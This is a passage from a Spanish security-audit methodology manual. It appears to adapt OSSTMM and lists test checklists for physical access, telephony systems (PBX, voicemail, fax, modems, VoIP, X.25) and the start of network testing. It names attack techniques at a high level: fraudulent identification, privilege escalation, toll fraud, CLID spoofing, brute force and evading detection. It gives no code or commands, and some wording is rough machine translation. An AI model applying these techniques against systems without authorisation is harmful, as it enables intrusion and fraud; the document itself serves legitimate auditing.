bloqueo completo según los requisitos de política revisada para
amenazas ambientales, amenazas biológicas, químicas u otras
amenazas de contaminación y en casos de violencia en el lugar de
trabajo.
Página 362 de 430

(C) Verificar los procedimientos apropiados para la recuperación de

la cuarentena y regresar al estado seguro apropiado después de
un estado de bloqueo según los requisitos en la revisión de la
política.
Prueba para obtener acceso a las credenciales y privilegios suministrados a otro

personal con los permisos adecuados.
8.15.1 Identificación
Examinar y documentar el proceso para obtener la identificación a través
de medios legítimos, ilegales (por ejemplo, injertos, robo, amenazas, etc.)
y fraudulentos (falsificación, falsedad, etc.).
8.15.2 Autorización
Verificar el uso de autorización fraudulenta para obtener privilegios
similares a los de otro personal.
8.15.3 Escalamiento
Verificar y enumerar los accesos a los activos mediante el uso de
privilegios para obtener privilegios superiores a los de los porteros.
8.15.4 Circunstancias especiales
Verificar los privilegios de acceso obtenidos en los casos en que la edad
(específicamente los considerados legalmente como menores para la
región), la relación (es decir, el hijo, la hija, el padre, la madre, etc.) el
sexo, la raza, la costumbre / cultura y la religión son factores que pueden
ser Concedido circunstancias especiales o discriminado de acuerdo con
la revisión de la política.
8.15.5 Subyugación
Enumerar y probar las deficiencias en el acceso a los activos no
controlados por la fuente que proporciona el acceso (es decir, PIN, fotos
de identificación, etc., seleccionados por el actor, signos con números de
identificación escritos por el actor).
Página 363 de 430

8.16 Validación de supervivencia.
Determinar y medir la resiliencia de las barreras y guardias dentro del ámbito de

aplicación a cambios excesivos o hostiles diseñados para causar fallas en las
operaciones.
8.16.1 Resiliencia
(A) Enumerar y verificar que la distracción, remoción o

tranquilizarían al personal de la pasarela no permita el acceso
directo a los activos u operaciones.
(B) Enumerar y verificar que la inhabilitación o destrucción de
medidas o controles de seguridad operacional no permitan el
acceso directo a activos u operaciones.
(C) Verificar que el aislamiento del alcance de recursos tales como
combustible, energía, alimentos, agua, comunicaciones, etc. no
permita el acceso directo a activos u operaciones.
(D) Verificar que las condiciones de alta amenaza de alerta no
cierren o minimicen las medidas operativas de seguridad o los
controles que permitan el acceso directo a los activos u
operaciones.
8.16.2 Continuidad
(A) Enumerar y verificar las condiciones en las que los retrasos de

acceso se abordan adecuadamente a través del personal de
respaldo o un medio automatizado para el acceso oportuno a los
servicios, procesos y operaciones.
(B) Enumerar y verificar que la distracción, la remoción o la
tranquilizarían del personal de la pasarela no detendrá o negará el
acceso oportuno a los servicios, procesos y operaciones.
(C) Enumerar y verificar que la desactivación o destrucción de las
medidas o controles de seguridad operacional no negarán el
acceso oportuno a los servicios, procesos y operaciones.
(D) Verificar que el aislamiento del alcance de recursos tales como
combustible, energía eléctrica, alimentos, agua, comunicaciones,
Página 364 de 430

etc. no detendrá ni negará el acceso a servicios, procesos y

operaciones.
(E) Verificar que la incapacidad de eliminar los desechos,
contaminantes u otros contaminantes del alcance no detenga o
niegue el acceso a los servicios, procesos y operaciones.
(F) Verificar que las condiciones de alta amenaza de alerta no
detienen ni niegan el acceso a servicios, procesos y operaciones.
8.17 Revisión de alertas y registros.

terceros, tanto humanas como mecánicas.
8.17.1 Alarma
Verificar y enumerar el uso de un sistema de alerta, registro o mensaje de
localización o ámbito de alcance para cada pasarela de acceso donde la
personal sospecha que hay sospechas de intentos de evasión, actividad
fraudulenta, intrusión o incumplimiento. Asegúrese de que los sensores /
sistemas estén instalados según las normas nacionales, regionales o
internacionales y que se prueben periódicamente para cubrir todos los
puntos accesibles.
8.17.2 Almacenamiento y recuperación

Documentar y verificar los permisos y el acceso eficiente a las ubicaciones
de almacenamiento de alarmas, registros y notificaciones y propiedades.
El acceso a las áreas donde se procesa o almacena la información
sensible debe ser controlado y restringido.
El capítulo 9 esta íntegramente dedicado a la seguridad en redes inalámbricas y

sigue las mismas pautas, que hemos visto en los capítulos anteriores, por lo que
lo hemos excluido, por entender que no aporta valor alguno ya que no hay
nuevos elementos diferenciales.
Capítulo 10 COMSEC
Que es una clasificación para la seguridad material dentro del ámbito ELSEC
que se encuentra dentro de los límites de las telecomunicaciones sobre cables.
Este canal cubre la interacción del analista con los objetivos.
Página 365 de 430

Como "phreaking", el verdadero objetivo de cumplimiento de las pruebas de

seguridad en este canal es la prueba de barrera lógica y la medición de la brecha
contra el estándar de seguridad requerido como se describe en la política de la
compañía, las regulaciones de la industria o la legislación regional.
Se requerirá que el Analista tenga múltiples herramientas y métodos para

completar algunas tareas para asegurar que la sospecha no se plantee entre el
personal por el timbre continuo y secuencial de los teléfonos y que las pruebas
no se hacen inválidas debido a un descubrimiento temprano o una paranoia
aumentada. Los analistas también tendrán que estar preparados para trabajar
con equipos de telecomunicaciones digitales y analógicos, frecuencia de sonido
analizadores y dentro de las redes de información que proporcionan contenido
regional a través de proveedores de telefonía local. Analistas competentes
requerirá un fondo de electrónica tanto en telefonía analógica y digital y
habilidades de pensamiento crítico para asegurar la recopilación de datos
fácticos crea resultados fácticos a través de correlación y análisis.
Consideraciones:
1. Los analistas que no hacen una revisión de la postura adecuada para el

alcance, así como las regiones de destino para las empresas o las
interacciones no pueden escapar de castigo por violar las leyes simplemente
porque no eran conscientes de la ley, Es decir, las personas han presupuesto
tener conocimiento de la ley. Los analistas son considerados profesionales en
este tema y, por lo tanto, la suposición existe que incluso lo que no puede ser
de conocimiento común para una persona normal acerca de las leyes de una
región extranjera con respecto a los sistemas informáticos, serán conocidos
por los profesionales como que son conscientes de las leyes necesarias para
sus compromisos.
2. Derechos de propiedad: Las pruebas deben dirigirse específicamente sólo a

los sistemas que están bajo la propiedad legal directa del propietario del ámbito
de aplicación o de los sistemas informáticos en la propiedad del propietario del
ámbito de aplicación. Tales bienes o efectos personales deben permanecer
personales y privados a menos que involucre específicamente al dueño del
ámbito por desacato, luz falsa, competitividad o razones establecidas en
contratos de contrato de personal.
Los analistas deben hacer esfuerzos para no invadir la vida privada de una
persona donde esa vida privada ha hecho esfuerzos para separarse del alcance
.
Los analistas con un acuerdo especial para los sistemas de prueba que están
bajo contrato directo, pero no son propiedad, o son propiedad, pero no están
alojados en la propiedad legal del propietario, deben tomar muchas precauciones
para asegurar que las pruebas tengan un impacto mínimo en otros sistemas
fuera del alcance o contrato.
Página 366 de 430

10.1 Revisión de la política.
Los estudios iniciales de la política incluyen las leyes, la ética, las políticas, las
seguridad y privacidad para el alcance. En la mayoría de los casos, un objetivo
también puede tener contratos con proveedores y otros terceros que pueden
necesitar ser revisados y documentados.
Esta revisión constituye una matriz contra la cual las pruebas deben ser
mapeadas, pero no restringidas, debido a la ubicuidad de los puntos finales del
canal. Por lo tanto, es importante considerar, como requiere alguna legislación,
el mercado objetivo o los usuarios finales de este canal, que también debe
agregarse al ámbito de este módulo
.
10.1.1 Política
(A) Revisar y documentar la política organizacional apropiada con respecto a los
requisitos de seguridad, integridad y privacidad del alcance. Verificar las
limitaciones de las telecomunicaciones impuestas por la política de seguridad.
(B) Revisar y documentar contratos y Acuerdos de Nivel de Servicio (SLA) con
proveedores de servicios y otros terceros involucrados.
10.1.2 Legislación
Revisar y documentar la legislación nacional y regional pertinente con respecto
a los requisitos de seguridad y privacidad de la organización en el ámbito de
aplicación, así como a los clientes, socios, sucursales organizacionales o
revendedores adecuados fuera del ámbito de aplicación. Cuando corresponda,
preste especial atención a la privacidad y retención de datos de los registros
detallados de llamadas, leyes y normas que rigen la interceptación o monitoreo
de telecomunicaciones y la provisión de servicios críticos como el E-911 / UR-
112.
10.1.3 Cultura
Revisar y documentar la cultura organizacional apropiada en el ámbito de la
concientización sobre la seguridad y la privacidad, la capacitación del personal
necesario y disponible, la jerarquía organizacional, el uso de la mesa de ayuda
y los requisitos para reportar problemas de seguridad.
10.1.4 Edad
Revise y documente la antigüedad de los sistemas, software y aplicaciones de
servicio requeridos para las operaciones.
10.1.5 Artefactos frágiles

Revise y documente cualquier sistema, software y aplicaciones de servicio que
requieran atención especial debido al alto uso, las inestabilidades o una alta tasa
de cambio.
10.1.6 Vectores de ataque
(A) Pruebas de PBX

(B) Prueba del buzón de voz
Página 367 de 430

(C) Encuesta, sondeo y pruebas de FAX y módem

(D) Prueba de Servicios de Acceso Remoto (RAS)
E) Pruebas de líneas RDSI de respaldo
(F) Pruebas de voz sobre IP
(G) Prueba de red conmutada por paquetes X.25
10.2 Logística
Preparación del entorno de prueba de canales necesario para prevenir falsos

positivos y falsos negativos que conducen a resultados de pruebas inexactos.
10.2.1 Marco
(A) Verificar el alcance y el (los) propietario (s) de los objetivos señalados

para la auditoría, junto con el (los) transportista (s) y otros terceros que
gestionan las líneas de telecomunicaciones y la infraestructura para los
objetivos.
(B) Determinar la ubicación de la propiedad y el propietario de la propiedad
que contiene los objetivos.
(C) Buscar otros objetivos del mismo propietario.
(D) Buscar y verificar las rutas de los servicios de telecomunicaciones que
interactúan fuera de la meta para los caminos que siguen dentro y fuera
del alcance.
E) Determinar la ubicación física de los objetivos.
(F) Comprobar qué protocolos se utilizan dentro del ámbito de aplicación
(ejemplo: PSTN, RDSI, GSM, UMTS, SIP, H.323, RTP, XOT, DECNET,
IPX, etc.).
(G) Verificar y documentar las limitaciones especiales impuestas por el
contrato con el cliente.
10.2.2 Calidad de la red
(A) Mida las velocidades máxima y mínima de conexión soportadas por

los objetivos.
(B) Determinar y verificar la velocidad de conexión apropiada, la paridad,
el tiempo de RING y otros
Parámetros de configuración que se utilizarán para escanear y probar.
(C) Verificar y documentar las limitaciones particulares impuestas por el
ámbito (ejemplo: red X.25
Congestión, rutas estrictas XOT, filtros de acceso basados en CLID).
Página 368 de 430
10.2.3 Tiempo y Costos Adicionales
(A) Pruebe el tiempo de funcionamiento del equipo (ejemplo:

redireccionamiento de llamadas al contestador automático fuera del
horario comercial normal).
(B) Determine y documente los ajustes de hora (zona horaria, DST, etc.)
para los objetivos.
(C) Asegúrese de que el reloj del analista esté sincronizado con el tiempo
de los objetivos. Ciertos equipos como artefactos frágiles pueden tener
configuraciones de tiempo que no representan un tiempo válido; Si el reloj
de tiempo del analista se pone en sincronía con estos puede tener un
impacto en el resultado de la prueba.
D) Determinar los costos financieros adicionales involucrados en la
realización de pruebas exhaustivas desde una ubicación remota (ejemplo:
escaneo de módems / FAX, prueba de servicios de acceso remoto no en
números gratuitos, llamadas X.25 sin carga inversa).
La determinación de los controles activos para detectar la intrusión y para filtrar

o negar los intentos de prueba debe hacerse antes de la prueba para mitigar el
riesgo de dañar los datos del resultado de la prueba, así como cambiar el estado
de alarma del personal o agentes de monitoreo. Puede ser necesario coordinar
estas pruebas con el personal apropiado dentro del alcance.
10.3.1 Supervisión
A) Comprobar si las telecomunicaciones son supervisadas por una parte

autorizada para retransmitir datos incorrectos de la red, inyecciones de
código, contenido malicioso y conducta impropia, y registrar las
respuestas y el tiempo de respuesta.
(B) Comprobar si existen controles para monitorear actividades
fraudulentas o manipulación de servicios, y registrar las respuestas y el
tiempo de respuesta, como en la reconciliación periódica de facturación
usando los registros de detalle de llamadas (CDR).
Página 369 de 430

10.3.2 Filtrado.
(A) Compruebe si existen controles de nivel de red para bloquear

actividades no autorizadas y registrar respuestas y tiempo de respuesta,
como filtros de acceso basados en la Identificación de Línea de Llamada
(CLID), la Dirección de Usuario de Red (NUA) o el Grupo de Usuarios
Cerrados (CUG).
(B) Comprobar si hay controles de nivel de aplicación para bloquear
actividades no autorizadas y registrar respuestas y tiempo de respuesta.
10.3.3 Detección activa.

(A) Verificar las respuestas activas a las sondas de los sistemas y
servicios.
(B) Verificar si la protección contra ataques de fuerza bruta como el
bloqueo de cuentas está en su lugar.
(C) Asignar cualquier aplicación, sistema o segmento de red dentro del
ámbito que produzca registros, alarmas o notificaciones.
Enumeración e indexación de los objetivos en el ámbito mediante interacción

directa e indirecta con o entre sistemas vivos.
10.4.1 Análisis de red

(A) Compilar un mapa de protocolos de comunicación en uso dentro del
alcance.
B) Esbozar la topología de las redes de telecomunicaciones dentro del
10.4.2 Enumeración
(A) Pruebas de PBX: enumerar los sistemas de telefonía dentro del
alcance.
(B) Prueba de buzón de voz: busque buzones de voz dentro del alcance.
(C) Prueba de FAX: enumera los sistemas FAX dentro del alcance.
(D) Encuesta de módem: encuentre todos los sistemas con módems de
escucha e interactivos dentro del alcance.
(E) Prueba de servicios de acceso remoto: enumerar los sistemas RAS
dentro del ámbito de aplicación.
Página 370 de 430

(F) Pruebas de líneas RDSI de respaldo: enumere los dispositivos de red

con líneas RDSI de respaldo dentro del ámbito.
(G) Pruebas de voz sobre IP: enumerar los sistemas VoIP dentro del
(H) Pruebas en red con conmutación de paquetes X.25: busque sistemas
en vivo y accesibles dentro del alcance, registrando sus códigos de
respuesta.
(A) Identificar los tipos de OS y las versiones en uso en los sistemas
dentro del alcance.
(B) Identificar tipos de servicio y versiones en uso en sistemas dentro del
alcance.
(C) Identificar los tipos de módem y FAX y los programas operativos.
10.5 Verificación de acceso

Pruebas para la medición de la amplitud y profundidad de los puntos de acceso
interactivo que están dentro del alcance Y la autenticación requerida.
10.5.1 Proceso de Acceso

(A) Pruebas PBX: busque sistemas PBX que permitan la administración
remota o el acceso mundial al
Terminal de mantenimiento, ya sea a través de la marcación telefónica o
de la red IP.
(B) Prueba de buzón de voz: busque buzones de voz accesibles a nivel
mundial.
(C) Pruebas de FAX: busque sistemas FAX que permitan la
administración remota o el acceso mundial al
Terminal de mantenimiento.
(D) Encuesta de módem: prueba y documenta los protocolos de
autenticación en uso (ejemplo: terminal,
PAP, CHAP, otros).
(E) Prueba de servicios de acceso remoto: prueba y documenta los
protocolos de autenticación en uso
(Ejemplo: terminal, PAP, CHAP, otros).
Página 371 de 430

(F) Pruebas de respaldo de líneas RDSI: prueba y documenta los

protocolos de autenticación en uso (ejemplo:
Terminal, PAP, CHAP, otros).
(G) Pruebas de voz sobre IP: verificar la posibilidad de realizar fraude de
peaje, llamar a la escucha o el rastreo, el secuestro de llamadas, la
suplantación de CLID y la denegación de servicio, mediante ataques
dirigidos redes convergentes, elementos de red VoIP, protocolos de
señalización y transporte de medios.
(H) Prueba de red conmutada por paquetes X.25: busque sistemas que
permitan la administración remota, Acceso a otros servicios a través de
CUDs específicos, o carga inversa, verifique cuántos Virtual Canales (CV)
y canales virtuales permanentes (PVC) están en uso y cómo se (CUG,
mapeo de subdirecciones, selección de llamadas entrantes X.25, filtrado
basado en NUA, etc.)
10.5.2 Servicios.
(A) Solicitar servicios remotos comunes conocidos.

(B) Identificar los componentes de los servicios y sus versiones.
(C) Verificar el tiempo de actividad del servicio a las últimas
vulnerabilidades y revisiones de parches.
(D) Para cada servicio identificado, prueba remota y errores de
configuración del documento.
(E) Para cada aplicación identificada, prueba remota y errores de
programación de documentos.
10.5.3 Autenticación
(A) Enumerar los recursos de telecomunicaciones que requieren
autenticación y verificar todas las formas aceptables de privilegios para
interactuar o recibir acceso.
(B) Documente los esquemas de autenticación en uso, verifique el
proceso de recepción de la autenticación y pruebe los errores lógicos.
(C) Verificar los métodos de autorización y la identificación requerida.
(D) Asegurar que las cuentas administrativas no tengan credenciales
predeterminadas o fáciles de adivinar.
(E) Asegúrese de que las cuentas de usuario no tengan credenciales
predeterminadas o fáciles de adivinar.
(F) Verificar y probar protecciones contra ataques de fuerza bruta y de tipo
de diccionario.
Página 372 de 430

(G) Compruebe y compruebe las comprobaciones de complejidad de

contraseñas y el tamaño del PIN del buzón de voz, el envejecimiento de
la contraseña y la frecuencia de los controles de cambio.
(H) Pruebe credenciales "conocidas" en todos los puntos de acceso
enumerados, para verificar los controles de reutilización de contraseñas.
(I) Verificar el formato utilizado para el almacenamiento de las
credenciales de autenticación y las contraseñas de texto claro o
ofuscadas del documento y los algoritmos de cifrado débiles.
(J) Compruebe el formato utilizado para la transmisión de credenciales de
autenticación a través de la red y el documento de texto claro u ofuscada
contraseñas y débiles algoritmos de cifrado.
(K) Compruebe que la información de autenticación que se utilizo fue
correcta y se realizó correctamente el proceso de autenticación o se
produjo un error en ese caso debe quedar registrado.
10.6 Verificación de Confianza

Prueba de confianza entre sistemas dentro del ámbito, donde la confianza se
refiere al acceso a información por medio de credenciales de autenticación.
10.6.1 Suplantación
(A) Comprobar y documentar los métodos de acceso en uso que no
requieren la presentación de Credenciales de autenticación.
(B) Comprobar y documentar la profundidad de los requisitos de
interacción y acceso a la propiedad dentro del alcance por medio de
spoofing una fuente de confianza (ejemplo: CLID y X.25 NUA spoofing).
10.6.2 Abuso de recursos

(A) Pruebe y documente la profundidad de los requisitos para llevar la
propiedad fuera del alcance a una fuente conocida y confiable o en todo
el ámbito sin las credenciales necesarias establecidas.
(B) Pruebe y documente la propiedad disponible fuera del alcance debido
a fugas de información.
Página 373 de 430


Pruebas para enumerar y verificar la funcionalidad operacional de las medidas
de seguridad para los activos y servicios, definidas por medio de controles de
pérdidas basados en procesos (Clase B). El control de alarma se verifica al final
de la metodología.
10.7.1 No repudio
(A) Enumerar y probar el uso o las deficiencias de las aplicaciones

y sistemas para identificar y registrar adecuadamente el acceso o
las interacciones a la propiedad para evidencia específica para
desafiar el repudio.
(B) Documentar la profundidad de la interacción registrada y el
proceso de identificación.
(C) Verificar que todos los métodos de interacción estén
debidamente registrados con una identificación apropiada.
D) Identificar los métodos de identificación que impidan el rechazo.
10.7.2 Confidencialidad
(A) Enumerar todas las interacciones con los servicios dentro del
alcance de las comunicaciones o activos transferidos a través del
canal usando líneas seguras, cifrado, interacciones "silenciadas" o
"cerradas" para proteger la confidencialidad de la propiedad de
información entre las partes involucradas.
(B) Verificar los métodos aceptables utilizados para la
confidencialidad.
(C) Comprobar la fuerza y el diseño de los métodos de cifrado u
ofuscación.
D) Verificar los límites exteriores de comunicación que pueden
protegerse mediante el método de confidencialidad aplicado.
10.7.3 Privacidad
Enumerar todas las interacciones con servicios dentro del alcance

de las comunicaciones o activos transportados a través del canal
usando líneas seguras, encriptación, interacciones "silenciadas" o
"cerradas" para proteger la privacidad de la interacción y el proceso
de proporcionar activos sólo a aquellos dentro de la seguridad
apropiada Autorización para ese proceso, comunicación o activo.
Página 374 de 430
10.7.4 Integridad
Enumerar y probar las insuficiencias de integridad cuando se utiliza

un proceso documentado, firmas, cifrado, hash o marcas para
asegurar que el activo no puede ser cambiado, cambiado, redirigido
o invertido sin que sea conocido por las partes involucradas.
10.8 Verificación del proceso
Pruebas para examinar el mantenimiento de la seguridad funcional y la eficacia

en los procesos establecidos y la debida diligencia como se define en la política
revisada.
10.8.1 Línea de base.

Examinar y documentar los servicios de línea de base para asegurar que
los procesos estén en línea con la política de seguridad.
Examinar y documentar la oportunidad, la idoneidad, el acceso y el
alcance de los procesos para la notificación y la conciencia de seguridad
del personal con respecto a la seguridad operacional, la seguridad real y
los controles de pérdidas.
10.8.3 Desinformación.
Determinar hasta qué punto las notificaciones de seguridad del personal
y las noticias de seguridad pueden ser ampliadas o alteradas con
información errónea.
10.8.4 Auditoria Legal para adquisiciones o fusiones.

Mapee y verifique las lagunas entre la práctica y los requisitos según lo
determinado en la política revisada a través de todos los canales.
10.8.5 Indemnización.
(A) Documentar y enumerar los objetivos y servicios que están protegidos
contra
Eludir la política del empleado, están asegurados por robo o daños, o usan
responsabilidad y permiso de responsabilidad.
(B) Verificar la legalidad e idoneidad del lenguaje en las renuncias.
(C) Verificar el efecto de las renuncias en las medidas de seguridad o
seguridad.
(D) Examinar el lenguaje de la póliza de seguro para las limitaciones en
los tipos de daños o activos.
(E) Comparar la política de acceso cultural con la política de
indemnización para evidenciar las debilidades.
Página 375 de 430

10.9 Verificación de la configuración.

Pruebas para recopilar toda la información, técnica y no técnica, sobre cómo se
pretende que funcionen los activos, y para examinar la capacidad de eludir o
interrumpir la seguridad funcional de los activos, explotando la configuración
incorrecta de los controles de acceso, los controles de pérdidas y las
aplicaciones.
10.9.1 Controles de configuración.
(A) Examinar los controles, incluyendo la configuración de línea de base,

para validar las configuraciones apropiadas de equipos, sistemas y
aplicaciones dentro del alcance.
(B) Examinar los controles para asegurar que las configuraciones del
equipo, los sistemas y las aplicaciones coincidan con la intención de la
organización y reflejen una justificación del negocio.
(C) Examinar las listas de control de acceso (ACL) configuradas en redes,
sistemas, servicios y aplicaciones dentro del alcance, para asegurar que
coincidan con la intención de la organización y reflejar una justificación del
negocio.
10.9.2 Errores comunes de configuración
(A) Pruebas de PBX: compruebe si hay servicios / características

innecesarios, inseguros o no utilizados y credenciales por defecto,
verifique el nivel de parche de los sistemas PBX para identificar las
vulnerabilidades conocidas.
(B) Prueba de buzón de voz: compruebe si hay servicios o funciones
innecesarias, inseguras o no utilizadas y
Credenciales por defecto, verifique el nivel de los sistemas de buzones de
voz para identificar vulnerabilidades.
(C) Prueba de FAX: compruebe si hay servicios / funciones innecesarios,
inseguros o no utilizados y credenciales predeterminadas, verifique el
nivel de los sistemas FAX para identificar las vulnerabilidades conocidas.
(D) Encuesta por módem: compruebe si hay módems contestadores
innecesarios o no utilizados dentro del alcance.
(E) Prueba de servicios de acceso remoto: compruebe si hay servicios o
funciones innecesarias, inseguras o no utilizadas
Página 376 de 430

Y las credenciales predeterminadas, verifique el nivel de revisión de los

servidores RAS para identificar las vulnerabilidades conocidas.
(F) Prueba de líneas de respaldo de la RDSI: compruebe si hay servicios
innecesarios, inseguros o no utilizados y credenciales predeterminadas,
verifique el nivel de los equipos de red para identificar las vulnerabilidades
conocidas.
G) Pruebas de voz sobre IP: compruebe si hay servicios / protocolos
innecesarios, inseguros o no utilizados y credenciales predeterminadas
en todos los sistemas dentro de la infraestructura VoIP y verifique su nivel
de parche para identificar las vulnerabilidades conocidas.
(H) En las pruebas de red con conmutación por paquetes X.25,
compruebe si hay servicios innecesarios, inseguros o no utilizados y las
credenciales predeterminadas en todos los sistemas X.25 y compruebe
su nivel de parche para identificar vulnerabilidades conocidas.
10.9.3 Auditoría de código fuente.
Examine el código fuente disponible de las aplicaciones cuando estén

disponibles para validar las operaciones de equilibrio de los controles.
10.10 Validación de la propiedad
Pruebas para examinar la información y la propiedad física disponibles dentro

del alcance o proporcionados por el personal que pueden ser ilegales o poco
éticos.
10.10.1 Compartir.
Compruebe hasta qué punto el personal comparte personal, licencia,
propiedad privada, simulada, reproducida, no libre o no abierta entre el
personal, ya sea intencionalmente a través de procesos y programas
compartidos, bibliotecas y cachés personales, o involuntariamente a
través de una mala administración de licencias y recursos. negligencia.
10.10.2 Mercado negro.

Verificar en qué medida se promueve, se comercializa o se vende entre
personal o por la organización bienes privados, falsificados, reproducidos,
no libres o no abiertos.
10.10.3 Canales de venta.

Verificar los negocios públicos, fuera del alcance, las subastas o las
ventas de propiedades que proporcionan información de contacto a través
de canales que se originan dentro del ámbito.
Página 377 de 430

10.10.4 Módulos de Rogue.

Realice un inventario completo de todos los módems dentro del ámbito.
Compruebe que la organización ha adoptado una directiva de seguridad
adecuada que se ocupa del uso y la provisión de módems.
10.11 Revisión de Segregación.
Prueba para separar apropiadamente la información privada o personal de la

información comercial. Al igual que una revisión de la privacidad, es el punto
focal del almacenamiento, transmisión y control legal y ético de la información
privada del personal, socios y clientes.
10.11.1 Mapeo de contención de privacidad.

Los gatekeepers de mapas de información privada dentro del alcance, qué
información se almacena, cómo y dónde se almacena la información, y
sobre qué canales se comunica la información.
10.11.2 Divulgación.
Examinar y documentar los tipos de revelaciones de información privada
en los servicios de comunicación de los porteros responsables de esta
segregación de acuerdo con la política y las regulaciones según lo
determinado en la revisión de la política y el derecho humano básico.
10.11.3 Limitaciones.
Examinar y documentar tipos de pasarelas y alternativas de canal con
pasarelas accesibles a personas con limitaciones físicas dentro de ese
canal, como en el servicio.
10.12 Verificación de la exposición

Pruebas para descubrir la información pública que describe la visibilidad indirecta
de los objetivos dentro del alcance o proporciona o conduce al acceso
autenticado.
10.12.1Mapa de exposición.
(A) Identificar información personal y de negocios, tales como números de

teléfono personales y de trabajo, números de teléfono móvil, números
telefónicos gratuitos, números de FAX, propietarios de las líneas de
telecomunicaciones, transportistas y afiliaciones organizativas, utilizando
todos los medios disponibles, Listas telefónicas, información de directorio
en línea y bases de datos de suscriptores de telecomunicaciones.
(B) Identificar otras líneas de telecomunicaciones como X.25, utilizando

tanto sitios web de la compañía como motores de búsqueda.
(C) Identificar información personal y de negocios, como organigramas,
títulos de personal clave, descripciones de puestos de trabajo, direcciones
de correo electrónico privadas y públicas, registros (ejemplo: fugas de
información de correo PS X.25) Métodos de respaldo, aseguradores, o
Página 378 de 430

cualquier información organizacional específica declarada implícitamente

como confidencial en regulaciones y políticas.
10.12.2 Proyección
Perfil y verificar la organización, sus redes públicas de
telecomunicaciones, empleados, tecnologías y dirección de negocios.
10.13 Inteligencia Competitiva
Prueba de propiedad de barrido que se puede analizar como inteligencia de

negocios. Mientras que la inteligencia competitiva como un campo está
relacionada con la comercialización, el proceso aquí incluye cualquier forma de
reunión de inteligencia competitiva, incluyendo, pero no limitado a espionaje
económico e industrial.
10.13.1 Rectificado de empresas

(A) Los guardianes de mapas de la propiedad del negocio dentro del
alcance, qué información se almacena, cómo y dónde se almacena la
información, y sobre qué canales se comunica la información.
(B) Medir el costo de la infraestructura de telecomunicaciones basada en
el equipo (ejemplo:
Teléfonos, PBX, módems, FAX, etc.).
C) Medir el costo de la infraestructura de apoyo, sobre la base de los
costos de transporte y mantenimiento,
Incluido el personal técnico.
(D) Verificar qué tipo de negocio se administra a través de la
infraestructura de telecomunicaciones (ejemplo: centro de llamadas,
atención al cliente, servicio de asistencia, etc.).
(E) Verifique la cantidad de tráfico en un intervalo de tiempo definido.

(A) Explorar y documentar detalles empresariales tales como alianzas,
socios, principales clientes, vendedores, distribuidores, inversionistas,
relaciones comerciales, producción, desarrollo, información de productos,
planificación, acciones y comercio, y cualquier información comercial o
propiedad particular declarada implícitamente como confidencial En
regulaciones y políticas.
(B) Identificar las líneas de telecomunicaciones que forman parte del
negocio de los socios.
Página 379 de 430

10.13.3 Organización Organizacional
Procesos, jerarquía, informes financieros, oportunidades de

inversión, fusiones, adquisiciones, inversiones en canales,
mantenimiento de canales, políticas sociales internas,
insatisfacción del personal y tasa de cambio de turno, tiempos de
vacaciones primarias, Contrataciones, despidos, y cualquier
propiedad organizacional particular declarada implícitamente como
confidencial en las regulaciones y políticas.
Pruebas para verificar el correcto emplazamiento y contención de contactos

agresivos u hostiles en los puntos de acceso.
10.14.1 Identificación del proceso de contención.

Identificar y examinar los métodos y procesos de cuarentena en el
objetivo en todos los canales para contactos molestos, agresivos u
hostiles, tales como teleoperadores, cazadores de cabezas y
acosadores.
10.14.2 Niveles de Contención.

Verifique el estado de contención, la duración del tiempo y todos
los canales en los que las interacciones tienen métodos de
cuarentena. Asegúrese de que los métodos estén dentro del
contexto legal y los límites.

Examinar y documentar el proceso para obtener la identificación a
través de medios legítimos y fraudulentos en todos los canales.
(A) Verificar el uso de autorización fraudulenta en todos los canales
para obtener privilegios similares a los de otro personal.
(B) Probar y documentar rutas posibles para evitar las listas de
control de acceso (ACL) configuradas para redes, sistemas,
servicios y aplicaciones dentro del ámbito.
10.15.3 Escalamiento
Verificar y asignar el acceso a la información mediante el uso de
privilegios para obtener privilegios más altos.
10.15.4 Subyugación
Enumerar y probar las insuficiencias de todos los canales para usar
o habilitar los controles de pérdida no habilitados de forma
predeterminada.
Página 380 de 430

10.16 Validación de supervivencia

Determinar y medir la resiliencia del objetivo dentro del alcance a cambios
excesivos o hostiles diseñados para causar un fallo del servicio.
10.16.1Continuidad
(A) Enumerar y probar las insuficiencias de la meta con respecto a

los retrasos de acceso y el tiempo de respuesta del servicio a través
de personal de respaldo o medios automatizados para acceso
alternativo.
(B) Enumerar y probar las deficiencias de la meta con respecto a

las cuestiones de calidad de servicio y los requisitos de desempeño
de las tecnologías de telecomunicaciones.
10.16.2 Resilencia
Mapear y documentar el proceso de desvinculación de los canales
debido a incumplimiento o preocupaciones de seguridad como un
análisis de la brecha con la regulación y la política de seguridad.
10.17 Revisión de alertas y registros.

terceros, tanto humanas como mecánicas.
10.17.1 Alarma.
(A) Compruebe y enumere el uso de un sistema de alerta, registro
de acceso sobre cada canal en el que una situación sospechosa se
eleve por sospecha de intentos de intrusión o actividad fraudulenta
y determina los niveles de recorte.
(B) Revisar los registros de los avisos de llamadas entrantes y
salientes para detectar signos de abuso o fraude.
C) Sistemas de gestión de registros de ensayos y documentos.
10.17.2 Almacenamiento y recuperación.
(A) Documentar y verificar el acceso no privilegiado a las

ubicaciones de almacenamiento de alarma, registro y notificación y
propiedades.
(B) Prueba y documenta la política de copias de seguridad de
registros y el registro en varias ubicaciones, para asegurar que los
rastros de auditoría no puedan ser manipulados.
Página 381 de 430
C) Sistemas de gestión de registros de ensayos y documentos.
LAS 3 REGLAS DE LAS HERRAMIENTAS DE SEGURIDAD DE DATOS SON:
1. LAS HERRAMIENTAS NO SABEN CUÁNDO MIENTEN.

2. LAS HERRAMIENTAS SON TAN INTELIGENTES COMO SUS DISEÑADORES.
3. LAS HERRAMIENTAS SÓLO PUEDEN FUNCIONAR CORRECTAMENTE DENTRO LOS
LÍMITES DEL PARA EL QUE FUERON DISEÑADAS.
Capítulo 11 - Pruebas de seguridad de redes de datos
Las pruebas para el canal de seguridad de redes de datos (COMSEC) requieren

interacciones con las salvaguardias operativas existentes de la red de
comunicación de datos utilizadas para controlar el acceso a la propiedad.
Este canal cubre la implicación de los sistemas informáticos, principalmente las

redes operativas dentro del alcance o marco objetivo. Si bien algunas
organizaciones consideran esto simplemente como "pruebas de penetración", el
verdadero objetivo de cumplimiento de las pruebas de seguridad en este canal
es la interacción del sistema y las pruebas de calidad operativa con medidas de
huecos con el estándar de seguridad requerido reglamentos o legislación
regional.
Durante las pruebas, los operadores finales y la inteligencia artificial pueden

reconocer los ataques en curso tanto por el proceso como por la firma. Por esta
razón, se requerirá que el Analista tenga una variedad suficiente de métodos
para evitar la revelación de las pruebas o trabajar con los operadores para
asegurar que cuando la seguridad falla y donde tiene éxito
